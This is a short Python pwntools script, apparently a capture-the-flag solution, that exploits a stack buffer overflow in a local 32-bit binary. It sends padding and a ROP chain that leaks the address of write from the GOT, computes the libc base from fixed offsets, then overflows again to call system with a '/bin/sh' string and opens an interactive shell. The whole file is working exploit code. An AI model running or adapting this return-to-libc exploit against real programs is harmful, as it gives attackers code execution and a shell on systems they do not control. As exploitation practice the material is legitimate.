#!/usr/bin/env python
from pwn import *
r = process('/tmp/p/vul')
context.arch = 'i386'

trash = 'a'*112
write = 0x8048370
write_got = 0x804a01c
write_off = 0xd5b60
main = 0x0804847d
print r.recvline('\n')
pay1 = [write, main, 1, write_got, 4]
r.send(trash + flat(pay1))

base = u32(r.recvrepeat(0.4)[1:5]) - write_off
print "base: ",hex(base)

system = base + 0x003ada0
sh = base + 0x15b9ab
pay2 = [system, sh, sh]
sleep(0.1)

r.sendline('a'*104 + flat(pay2))

r.interactive()